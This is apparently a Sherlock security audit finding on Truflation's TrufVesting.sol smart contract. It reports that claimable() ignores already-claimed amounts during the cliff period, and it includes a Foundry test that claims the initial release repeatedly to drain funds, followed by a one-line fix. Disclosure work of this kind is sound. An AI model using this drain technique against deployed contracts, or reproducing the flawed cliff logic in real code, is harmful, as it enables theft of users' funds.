Quiet Ceramic Oyster

high

# Loss of Funds: `TrufVesting.sol` can be drained by an attacker.

## Summary

Any position active within the [`cliff`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L97) period enables the [`user`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L212C28-L212C28) to call [`claim(address, uint256,uint256,uint256)`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L212C14-L212C93) in perpetuity, leaving the contract vulnerable to attackers.

## Vulnerability Detail

Calls to [`claimable(uint256,uint256,address)`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L159C5-L159C76) are expected to take into account the token balance already claimed by a [`user`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L159C5-L159C76). For example, during the standard vesting period, the `claimable` amount is calculated as follows:

```solidity
uint256 vestedAmount = ((totalAmount - initialRelease) * timeElapsed) / info.period + initialRelease;

uint256 maxClaimable = userVesting.amount - userVesting.locked;
if (vestedAmount > maxClaimable) {
    vestedAmount = maxClaimable;
}
if (vestedAmount <= userVesting.claimed) {
    return 0;
}

claimableAmount = vestedAmount - userVesting.claimed;
```

Crucially, the `claimableAmount` is reduced by the amount already recorded as `claimed` in `userVesting`.

However, within the [`cliff`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L97) period, the `userVesting.claimed` is not taken into account:

```solidity
if (startTime > block.timestamp) {
    return initialRelease;
}
```

Consequently, a caller may make repeated calls to [`claim(address, uint256,uint256,uint256)`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L212C14-L212C93) during the [`cliff`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L97) period to repeatedly withdraw this fixed amount:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "forge-std/console.sol";
import "forge-std/Test.sol";
import "../../src/token/TruflationToken.sol";
import "../../src/token/TrufVesting.sol";
import "../../src/token/VotingEscrowTruf.sol";
import "../../src/staking/VirtualStakingRewards.sol";

import "./TrufVesting.t.sol";

contract TrufVestingSherlockTest is TrufVestingTest {

    function testClaimableAfterInitialReleaseBeforeCliffExploit() external {

        _setupVestingPlan();
        _setupExampleUserVestings();

        uint256 categoryId = 2;
        uint256 vestingId = 0;

        (uint256 amount,,,) = vesting.userVestings(categoryId, vestingId, alice);

        uint64 tgeTime = vesting.tgeTime();

        (uint64 _initialReleasePct, uint64 _initialReleasePeriod, uint64 _cliff,,) =
            vesting.vestingInfos(categoryId, vestingId);

        assertEq(_cliff, 1728000) /* info */;
        assertEq(trufToken.balanceOf(alice), 0) /* info */;

        vm.warp(tgeTime + _initialReleasePeriod + _cliff - 1);

        uint256 cliffPeriodClaimAmount = vesting.claimable(categoryId, vestingId, alice);

        assertEq(cliffPeriodClaimAmount, 10000000000000000000) /* info */;

        vm.prank(alice);
            vesting.claim(alice, categoryId, vestingId, cliffPeriodClaimAmount);
        vm.prank(alice);
            vesting.claim(alice, categoryId, vestingId, cliffPeriodClaimAmount);
        vm.prank(alice);
            vesting.claim(alice, categoryId, vestingId, cliffPeriodClaimAmount);

        // [...] Alice can claim indefinitely during the reward period.

        assertEq(trufToken.balanceOf(alice), 3 * cliffPeriodClaimAmount) /* repeat_to_drain */;
    }

}
```

In the above demonstration, we use just three iterations. In reality, an attacker would continue until the entire balance of the [`TrufVesting`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L97) contract had been consumed.

## Impact

The entire balance of the contract can be drained by an attacker.

## Code Snippet

```solidity
/**
 * @notice Calcualte claimable amount (total vested amount - previously claimed amount - locked amount)
 * @param categoryId Vesting category id
 * @param vestingId Vesting id
 * @param user user address
 * @return claimableAmount Claimable amount
 */
function claimable(uint256 categoryId, uint256 vestingId, address user)
    public
    view
    returns (uint256 claimableAmount)
{
    UserVesting memory userVesting = userVestings[categoryId][vestingId][user];

    VestingInfo memory info = vestingInfos[categoryId][vestingId];

    uint64 startTime = userVesting.startTime + info.initialReleasePeriod;

    if (startTime > block.timestamp) {
        return 0;
    }

    uint256 totalAmount = userVesting.amount;

    uint256 initialRelease = (totalAmount * info.initialReleasePct) / DENOMINATOR;

    startTime += info.cliff;

    if (startTime > block.timestamp) {
        return initialRelease;
    }

    uint64 timeElapsed = ((uint64(block.timestamp) - startTime) / info.unit) * info.unit;

    uint256 vestedAmount = ((totalAmount - initialRelease) * timeElapsed) / info.period + initialRelease;

    uint256 maxClaimable = userVesting.amount - userVesting.locked;
    if (vestedAmount > maxClaimable) {
        vestedAmount = maxClaimable;
    }
    if (vestedAmount <= userVesting.claimed) {
        return 0;
    }

    claimableAmount = vestedAmount - userVesting.claimed;
    uint256 emissionLeft = getEmission(categoryId) - categories[categoryId].totalClaimed;

    if (claimableAmount > emissionLeft) {
        claimableAmount = emissionLeft;
    }
}
```

## Tool used

Manual Review, Visual Studio Code, Foundry

## Recommendation

### [TrufVesting.sol](https://github.com/sherlock-audit/2023-12-truflation/blob/main/truflation-contracts/src/token/TrufVesting.sol)

Ensure that the `userVesting.claimed` is taken into account during the [`cliff`](https://github.com/sherlock-audit/2023-12-truflation/blob/37ddbb69e0c7fb6510f1ec99162fd9172ec44733/truflation-contracts/src/token/TrufVesting.sol#L97) period.

```diff
        startTime += info.cliff;

        if (startTime > block.timestamp) {
-            return initialRelease;
+            return initialRelease - userVesting.claimed;
        }

        uint64 timeElapsed = ((uint64(block.timestamp) - startTime) / info.unit) * info.unit;
```
